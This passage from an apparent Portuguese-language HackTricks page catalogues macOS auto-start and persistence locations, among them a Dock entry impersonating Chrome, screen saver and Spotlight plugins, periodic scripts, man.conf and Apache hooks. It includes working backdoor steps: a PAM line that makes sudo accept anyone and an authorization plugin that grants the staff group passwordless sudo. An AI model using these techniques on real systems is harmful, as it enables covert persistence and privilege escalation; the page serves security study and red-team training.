Agora que temos um ambiente vazio 3. Copie o arquivo de backup: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` 4. Abra o Folder Actions Setup.app para consumir essa configuração: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` {% hint style="danger" %} E isso não funcionou para mim, mas essas são as instruções do writeup :( {% endhint %} ### Atalhos no Dock Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/) * Útil para contornar o sandbox: [✅](https://emojipedia.org/check-mark-button) * Mas você precisa ter instalado um aplicativo malicioso dentro do sistema * Bypass do TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização * `~/Library/Preferences/com.apple.dock.plist` * **Gatilho**: Quando o usuário clica no aplicativo dentro do dock #### Descrição & Exploração Todas as aplicações que aparecem no Dock são especificadas dentro do plist: **`~/Library/Preferences/com.apple.dock.plist`** É possível **adicionar um aplicativo** apenas com: {% code overflow="wrap" %} ```bash # Add /System/Applications/Books.app defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/System/Applications/Books.app_CFURLStringType0' # Restart Dock killall Dock ``` {% endcode %} Usando algumas técnicas de **social engineering**, você poderia **se passar, por exemplo, pelo Google Chrome** no dock e executar seu próprio script: ```bash #!/bin/sh # THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON) rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null # Create App structure mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS mkdir -p /tmp/Google\ Chrome.app/Contents/Resources # Payload to execute echo '#!/bin/sh open /Applications/Google\ Chrome.app/ & touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome # Info.plist cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist CFBundleExecutable Google Chrome CFBundleIdentifier com.google.Chrome CFBundleName Google Chrome CFBundleVersion 1.0 CFBundleShortVersionString 1.0 CFBundleInfoDictionaryVersion 6.0 CFBundlePackageType APPL CFBundleIconFile app EOF # Copy icon from Google Chrome cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns # Add to Dock defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/tmp/Google Chrome.app_CFURLStringType0' killall Dock ``` ### Seletores de Cor Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/) * Útil para contornar a sandbox: [🟠](https://emojipedia.org/large-orange-circle) * Uma ação muito específica precisa acontecer * Você terminará em outra sandbox * Contornar TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização * `/Library/ColorPickers` * Necessário acesso root * Gatilho: Usar o seletor de cor * `~/Library/ColorPickers` * Gatilho: Usar o seletor de cor #### Descrição & Exploração **Compile um pacote de seletor de cor** com seu código (você pode usar [**este aqui, por exemplo**](https://github.com/viktorstrate/color-picker-plus)) e adicione um construtor (como na [seção de Protetor de Tela](macos-auto-start-locations.md#screen-saver)) e copie o pacote para `~/Library/ColorPickers`. Então, quando o seletor de cor for acionado, seu código também deverá ser. Note que o binário que carrega sua biblioteca tem uma sandbox **muito restritiva**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` {% code overflow="wrap" %} ```bash [Key] com.apple.security.temporary-exception.sbpl [Value] [Array] [String] (deny file-write* (home-subpath "/Library/Colors")) [String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers")) [String] (allow file-read* (extension "com.apple.app-sandbox.read")) ``` {% endcode %} ### Plugins de Sincronização do Finder **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\ **Writeup**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html) * Útil para contornar sandbox: **Não, porque você precisa executar seu próprio aplicativo** * TCC bypass: ??? #### Localização * Um aplicativo específico #### Descrição & Exploração Um exemplo de aplicativo com uma Extensão de Sincronização do Finder [**pode ser encontrado aqui**](https://github.com/D00MFist/InSync). Aplicativos podem ter `Extensões de Sincronização do Finder`. Esta extensão ficará dentro de um aplicativo que será executado. Além disso, para que a extensão possa executar seu código, ela **deve ser assinada** com algum certificado válido de desenvolvedor da Apple, deve ser **sandboxed** (embora exceções relaxadas possam ser adicionadas) e deve ser registrada com algo como: ```bash pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -e use -i com.example.InSync.InSync ``` ### Protetor de Tela Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) * Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle) * Mas você terminará em um sandbox de aplicação comum * Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização * `/System/Library/Screen Savers` * Necessário root * **Gatilho**: Selecionar o protetor de tela * `/Library/Screen Savers` * Necessário root * **Gatilho**: Selecionar o protetor de tela * `~/Library/Screen Savers` * **Gatilho**: Selecionar o protetor de tela
#### Descrição & Exploração Crie um novo projeto no Xcode e selecione o template para gerar um novo **Protetor de Tela**. Em seguida, adicione seu código a ele, por exemplo, o seguinte código para gerar logs. **Construa** o projeto, e copie o pacote `.saver` para **`~/Library/Screen Savers`**. Depois, abra a GUI do Protetor de Tela e se você apenas clicar nele, ele deve gerar muitos logs: {% code overflow="wrap" %} ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"' Timestamp (process)[PID] 2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **) 2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:] 2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet] ``` {% endcode %} {% hint style="danger" %} Observe que, devido aos direitos de acesso do binário que carrega este código (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), onde se pode encontrar **`com.apple.security.app-sandbox`**, você estará **dentro do sandbox comum de aplicativos**. {% endhint %} Código do Saver: ```objectivec // // ScreenSaverExampleView.m // ScreenSaverExample // // Created by Carlos Polop on 27/9/23. // #import "ScreenSaverExampleView.h" @implementation ScreenSaverExampleView - (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); self = [super initWithFrame:frame isPreview:isPreview]; if (self) { [self setAnimationTimeInterval:1/30.0]; } return self; } - (void)startAnimation { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); [super startAnimation]; } - (void)stopAnimation { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); [super stopAnimation]; } - (void)drawRect:(NSRect)rect { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); [super drawRect:rect]; } - (void)animateOneFrame { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); return; } - (BOOL)hasConfigureSheet { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); return NO; } - (NSWindow*)configureSheet { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); return nil; } __attribute__((constructor)) void custom(int argc, const char **argv) { NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); } @end ``` ### Plugins do Spotlight writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/) * Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle) * Mas você terminará em uma sandbox de aplicativo * Contornar TCC: [🔴](https://emojipedia.org/large-red-circle) * A sandbox parece muito limitada #### Localização * `~/Library/Spotlight/` * **Gatilho**: Um novo arquivo com uma extensão gerenciada pelo plugin do Spotlight é criado. * `/Library/Spotlight/` * **Gatilho**: Um novo arquivo com uma extensão gerenciada pelo plugin do Spotlight é criado. * Necessário acesso root * `/System/Library/Spotlight/` * **Gatilho**: Um novo arquivo com uma extensão gerenciada pelo plugin do Spotlight é criado. * Necessário acesso root * `Some.app/Contents/Library/Spotlight/` * **Gatilho**: Um novo arquivo com uma extensão gerenciada pelo plugin do Spotlight é criado. * Necessário novo aplicativo #### Descrição & Exploração O Spotlight é o recurso de busca integrado do macOS, projetado para fornecer aos usuários **acesso rápido e abrangente aos dados em seus computadores**.\ Para facilitar essa capacidade de busca rápida, o Spotlight mantém um **banco de dados proprietário** e cria um índice **analisando a maioria dos arquivos**, permitindo buscas rápidas tanto pelos nomes dos arquivos quanto pelo seu conteúdo. O mecanismo subjacente do Spotlight envolve um processo central chamado 'mds', que significa **'servidor de metadados'**. Este processo orquestra todo o serviço do Spotlight. Complementando isso, existem vários daemons 'mdworker' que realizam uma variedade de tarefas de manutenção, como indexação de diferentes tipos de arquivos (`ps -ef | grep mdworker`). Essas tarefas são possíveis através dos plugins importadores do Spotlight, ou **pacotes ".mdimporter"**, que permitem ao Spotlight entender e indexar conteúdo em uma ampla gama de formatos de arquivo. Os plugins ou pacotes **`.mdimporter`** estão localizados nos lugares mencionados anteriormente e, se um novo pacote aparecer, ele é carregado em minutos (não é necessário reiniciar nenhum serviço). Esses pacotes precisam indicar **quais tipos de arquivo e extensões eles podem gerenciar**, assim, o Spotlight os utilizará quando um novo arquivo com a extensão indicada for criado. É possível **encontrar todos os `mdimporters`** carregados executando: ```bash mdimport -L Paths: id(501) ( "/System/Library/Spotlight/iWork.mdimporter", "/System/Library/Spotlight/iPhoto.mdimporter", "/System/Library/Spotlight/PDF.mdimporter", [...] ``` E, por exemplo, **/Library/Spotlight/iBooksAuthor.mdimporter** é usado para analisar esses tipos de arquivos (extensões `.iba` e `.book` entre outros): ```json plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist [...] "CFBundleDocumentTypes" => [ 0 => { "CFBundleTypeName" => "iBooks Author Book" "CFBundleTypeRole" => "MDImporter" "LSItemContentTypes" => [ 0 => "com.apple.ibooksauthor.book" 1 => "com.apple.ibooksauthor.pkgbook" 2 => "com.apple.ibooksauthor.template" 3 => "com.apple.ibooksauthor.pkgtemplate" ] "LSTypeIsPackage" => 0 } ] [...] => { "UTTypeConformsTo" => [ 0 => "public.data" 1 => "public.composite-content" ] "UTTypeDescription" => "iBooks Author Book" "UTTypeIdentifier" => "com.apple.ibooksauthor.book" "UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor" "UTTypeTagSpecification" => { "public.filename-extension" => [ 0 => "iba" 1 => "book" ] } } [...] ``` {% hint style="danger" %} Se você verificar o Plist de outros `mdimporter`, pode não encontrar a entrada **`UTTypeConformsTo`**. Isso ocorre porque é um _Identificador de Tipo Uniforme_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) integrado e não precisa especificar extensões. Além disso, os plugins padrão do sistema sempre têm precedência, então um atacante só pode acessar arquivos que não são indexados pelos próprios `mdimporters` da Apple. {% endhint %} Para criar seu próprio importador, você pode começar com este projeto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) e depois mudar o nome, os **`CFBundleDocumentTypes`** e adicionar **`UTImportedTypeDeclarations`** para que ele suporte a extensão que você deseja e reflita-os no **`schema.xml`**.\ Em seguida, **mude** o código da função **`GetMetadataForFile`** para executar seu payload quando um arquivo com a extensão processada for criado. Finalmente, **construa e copie seu novo `.mdimporter`** para um dos locais anteriores e você pode verificar se ele está carregado **monitorando os logs** ou verificando **`mdimport -L.`** ### ~~Painel de Preferências~~ {% hint style="danger" %} Parece que isso não está mais funcionando. {% endhint %} Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/) * Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle) * É necessária uma ação específica do usuário * Contorno de TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização * **`/System/Library/PreferencePanes`** * **`/Library/PreferencePanes`** * **`~/Library/PreferencePanes`** #### Descrição Parece que isso não está mais funcionando. ## Contorno de Sandbox Root {% hint style="success" %} Aqui você pode encontrar locais de início úteis para **contorno de sandbox** que permitem executar algo simplesmente **escrevendo em um arquivo** sendo **root** e/ou exigindo outras **condições estranhas.** {% endhint %} ### Periódico Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/) * Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle) * Mas você precisa ser root * Contorno de TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização * `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic` * Root necessário * **Gatilho**: Quando chegar a hora * `/etc/daily.local`, `/etc/weekly.local` ou `/etc/monthly.local` * Root necessário * **Gatilho**: Quando chegar a hora #### Descrição & Exploração Os scripts periódicos (**`/etc/periodic`**) são executados por causa dos **daemons de lançamento** configurados em `/System/Library/LaunchDaemons/com.apple.periodic*`. Observe que os scripts armazenados em `/etc/periodic/` são **executados** como o **proprietário do arquivo**, então isso não funcionará para uma potencial escalada de privilégios. {% code overflow="wrap" %} ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* -rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist -rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist -rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist # The scripts located in their locations ls -lR /etc/periodic total 0 drwxr-xr-x 11 root wheel 352 May 13 00:29 daily drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly /etc/periodic/daily: total 72 -rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps -rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs [...] /etc/periodic/monthly: total 24 -rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax -rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting -rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local /etc/periodic/weekly: total 8 -rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local ``` ``` Existem outros scripts periódicos que serão executados indicados em **`/etc/defaults/periodic.conf`**: ``` ```bash grep "Local scripts" /etc/defaults/periodic.conf daily_local="/etc/daily.local" # Local scripts weekly_local="/etc/weekly.local" # Local scripts monthly_local="/etc/monthly.local" # Local scripts ``` Se você conseguir escrever em qualquer um dos arquivos `/etc/daily.local`, `/etc/weekly.local` ou `/etc/monthly.local`, ele será **executado mais cedo ou mais tarde**. {% hint style="warning" %} Observe que o script periódico será **executado como o proprietário do script**. Portanto, se um usuário comum for o proprietário do script, ele será executado como esse usuário (isso pode prevenir ataques de escalada de privilégios). {% endhint %} ### PAM Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/) * Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle) * Mas você precisa ser root * Contornar TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização * Sempre requer root #### Descrição & Exploração Como o PAM é mais focado em **persistência** e malware do que em execução fácil dentro do macOS, este blog não fornecerá uma explicação detalhada, **leia os writeups para entender melhor esta técnica**. Verifique os módulos PAM com: ```bash ls -l /etc/pam.d ``` Uma técnica de persistência/escalada de privilégios que abusa do PAM é tão simples quanto modificar o módulo /etc/pam.d/sudo adicionando no início a linha: ```bash auth sufficient pam_permit.so ``` Então, ficará **algo assim**: ```bash # sudo: auth account password session auth sufficient pam_permit.so auth include sudo_local auth sufficient pam_smartcard.so auth required pam_opendirectory.so account required pam_permit.so password required pam_deny.so session required pam_permit.so ``` E portanto, qualquer tentativa de usar **`sudo` funcionará**. {% hint style="danger" %} Note que este diretório é protegido pelo TCC, então é muito provável que o usuário receba um prompt pedindo acesso. {% endhint %} ### Plugins de Autorização Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) * Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle) * Mas você precisa ser root e fazer configurações extras * Bypass do TCC: ??? #### Localização * `/Library/Security/SecurityAgentPlugins/` * Necessário ser root * Também é necessário configurar o banco de dados de autorização para usar o plugin #### Descrição & Exploração Você pode criar um plugin de autorização que será executado quando um usuário fizer login para manter a persistência. Para mais informações sobre como criar um desses plugins, confira os writeups anteriores (e tenha cuidado, um mal escrito pode bloquear seu acesso e você precisará limpar seu mac no modo de recuperação). ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth // mkdir -p CustomAuth.bundle/Contents/MacOS // mv CustomAuth CustomAuth.bundle/Contents/MacOS/ #import __attribute__((constructor)) static void run() { NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); } ``` **Mova** o pacote para o local a ser carregado: ```bash cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ ``` Finalmente adicione a **regra** para carregar este Plugin: ```bash cat > /tmp/rule.plist < class evaluate-mechanisms mechanisms CustomAuth:login,privileged EOF security authorizationdb write com.asdf.asdf < /tmp/rule.plist ``` O **`evaluate-mechanisms`** informará ao framework de autorização que será necessário **chamar um mecanismo externo para autorização**. Além disso, **`privileged`** fará com que seja executado pelo root. Ative-o com: ```bash security authorize com.asdf.asdf ``` E então o **grupo staff deve ter acesso sudo** (leia `/etc/sudoers` para confirmar). ### Man.conf Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/) * Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle) * Mas você precisa ser root e o usuário deve usar man * Contorno de TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização * **`/private/etc/man.conf`** * Root necessário * **`/private/etc/man.conf`**: Sempre que man é usado #### Descrição & Exploração O arquivo de configuração **`/private/etc/man.conf`** indica o binário/script a ser usado ao abrir arquivos de documentação man. Assim, o caminho para o executável pode ser modificado para que sempre que o usuário use man para ler alguns documentos, um backdoor seja executado. Por exemplo, defina em **`/private/etc/man.conf`**: ``` MANPAGER /tmp/view ``` E então crie `/tmp/view` como: ```bash #!/bin/zsh touch /tmp/manconf /usr/bin/less -s ``` ### Apache2 **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) * Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle) * Mas você precisa ser root e o apache precisa estar em execução * Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle) * Httpd não possui entitlements #### Localização * **`/etc/apache2/httpd.conf`** * Necessário ser root * Gatilho: Quando o Apache2 é iniciado #### Descrição & Exploração Você pode indicar em `/etc/apache2/httpd.conf` para carregar um módulo adicionando uma linha como: {% code overflow="wrap" %} ```bash LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` {% endcode %} Dessa forma, seu módulo compilado será carregado pelo Apache. A única coisa é que você precisa **assiná-lo com um certificado Apple válido**, ou precisa **adicionar um novo certificado confiável** no sistema e **assiná-lo** com ele. Então, se necessário, para garantir que o servidor será iniciado, você poderia executar: ```bash sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist ``` Exemplo de código para o Dylb: ```objectivec #include #include __attribute__((constructor)) static void myconstructor(int argc, const char **argv) { printf("[+] dylib constructor called from %s\n", argv[0]); syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); } ``` ### Estrutura de auditoria BSM Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/) * Útil para contornar sandbox: [🟠](https://emojipedia.org/large-orange-circle) * Mas você precisa ser root, auditd estar em execução e causar um aviso * Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização * **`/etc/security/audit_warn`** * Necessário ser root * **Gatilho**: Quando auditd detecta um aviso #### Descrição & Exploração Sempre que auditd detecta um aviso, o script **`/etc/security/audit_warn`** é **executado**. Assim, você poderia adicionar seu payload nele. ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` Você pode forçar um aviso com `sudo audit -n`. ### Itens de Inicialização {% hint style="danger" %} **Isso está obsoleto, portanto, nada deve ser encontrado nos seguintes diretórios.** {% endhint %} Um **StartupItem** é um **diretório** que é **colocado** em uma destas duas pastas: `/Library/StartupItems/` ou `/System/Library/StartupItems/` Após colocar um novo diretório em um desses dois locais, **mais dois itens** precisam ser colocados dentro desse diretório. Esses dois itens são um **script rc** **e um plist** que contém algumas configurações. Esse plist deve ser chamado de “**StartupParameters.plist**”. {% tabs %} {% tab title="StartupParameters.plist" %} ```xml Description This is a description of this service OrderPreference None Provides superservicename ``` {% endtab %} {% tab title="superservicename" %} ```bash #!/bin/sh . /etc/rc.common StartService(){ touch /tmp/superservicestarted } StopService(){ rm /tmp/superservicestarted } RestartService(){ echo "Restarting" } RunService "$1" ``` {% endtab %} {% endtabs %} ### ~~emond~~ {% hint style="danger" %} Não consigo encontrar este componente no meu macOS, então para mais informações, consulte o relatório {% endhint %} Relatório: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) A Apple introduziu um mecanismo de registro chamado **emond**. Parece que nunca foi totalmente desenvolvido, e o desenvolvimento pode ter sido **abandonado** pela Apple em favor de outros mecanismos, mas ainda está **disponível**. Este serviço pouco conhecido pode **não ser muito útil para um administrador de Mac**, mas para um ator de ameaças, um motivo muito bom seria usá-lo como um **mecanismo de persistência que a maioria dos administradores de macOS provavelmente não saberia procurar**. Detectar o uso malicioso do emond não deve ser difícil, pois o System LaunchDaemon para o serviço procura scripts para executar em apenas um local: ```bash ls -l /private/var/db/emondClients ``` ### ~~XQuartz~~ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/) #### Localização * **`/opt/X11/etc/X11/xinit/privileged_startx.d`** * Necessário acesso root * **Gatilho**: Com XQuartz #### Descrição & Exploração XQuartz **não está mais instalado no macOS**, então se quiser mais informações, consulte o writeup. ### ~~kext~~ {% hint style="danger" %} É tão complicado instalar kext mesmo como root que não vou considerar isso para escapar de sandboxes ou mesmo para persistência (a menos que você tenha um exploit) {% endhint %} #### Localização Para instalar um KEXT como um item de inicialização, ele precisa ser **instalado em um dos seguintes locais**: * `/System/Library/Extensions` * Arquivos KEXT integrados ao sistema operacional OS X. * `/Library/Extensions` * Arquivos KEXT instalados por softwares de terceiros Você pode listar os arquivos kext atualmente carregados com: ```bash kextstat #List loaded kext kextload /path/to/kext.kext #Load a new one based on path kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` Para mais informações sobre [**extensões do kernel, consulte esta seção**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). ### ~~amstoold~~ Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/) #### Localização * **`/usr/local/bin/amstoold`** * Necessário ser root #### Descrição & Exploração Aparentemente, o `plist` de `/System/Library/LaunchAgents/com.apple.amstoold.plist` estava usando este binário enquanto expunha um serviço XPC... o problema é que o binário não existia, então você poderia colocar algo lá e quando o serviço XPC fosse chamado, seu binário seria executado. Não consigo mais encontrar isso no meu macOS. ### ~~xsanctl~~ Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.github.io/beyond/beyond\_0015/) #### Localização * **`/Library/Preferences/Xsan/.xsanrc`** * Necessário ser root * **Gatilho**: Quando o serviço é executado (raramente) #### Descrição & exploração Aparentemente, não é muito comum executar este script e eu nem consegui encontrá-lo no meu macOS, então se você quiser mais informações, confira o writeup. ### ~~/etc/rc.common~~ {% hint style="danger" %} **Isso não funciona em versões modernas do MacOS** {% endhint %} Também é possível colocar aqui **comandos que serão executados na inicialização.** Exemplo de script rc.common regular: ```bash # # Common setup for startup scripts. # # Copyright 1998-2002 Apple Computer, Inc. # ###################### # Configure the shell # ###################### # # Be strict # #set -e set -u # # Set command search path # PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH # # Set the terminal mode # #if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then # TERM=$(tset - -Q); export TERM #fi ################### # Useful functions # ################### # # Determine if the network is up by looking for any non-loopback # internet network interfaces. # CheckForNetwork() { local test if [ -z "${NETWORKUP:=}" ]; then test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l) if [ "${test}" -gt 0 ]; then NETWORKUP="-YES-" else NETWORKUP="-NO-" fi fi } alias ConsoleMessage=echo # # Process management # GetPID () { local program="$1" local pidfile="${PIDFILE:=/var/run/${program}.pid}" local pid="" if [ -f "${pidfile}" ]; then pid=$(head -1 "${pidfile}") if ! kill -0 "${pid}" 2> /dev/null; then echo "Bad pid file $pidfile; deleting." pid="" rm -f "${pidfile}" fi fi if [ -n "${pid}" ]; then echo "${pid}" return 0 else return 1 fi } # # Generic action handler # RunService () { case $1 in start ) StartService ;; stop ) StopService ;; restart) RestartService ;; * ) echo "$0: unknown argument: $1";; esac } ``` ## Técnicas e ferramentas de persistência * [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift) * [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).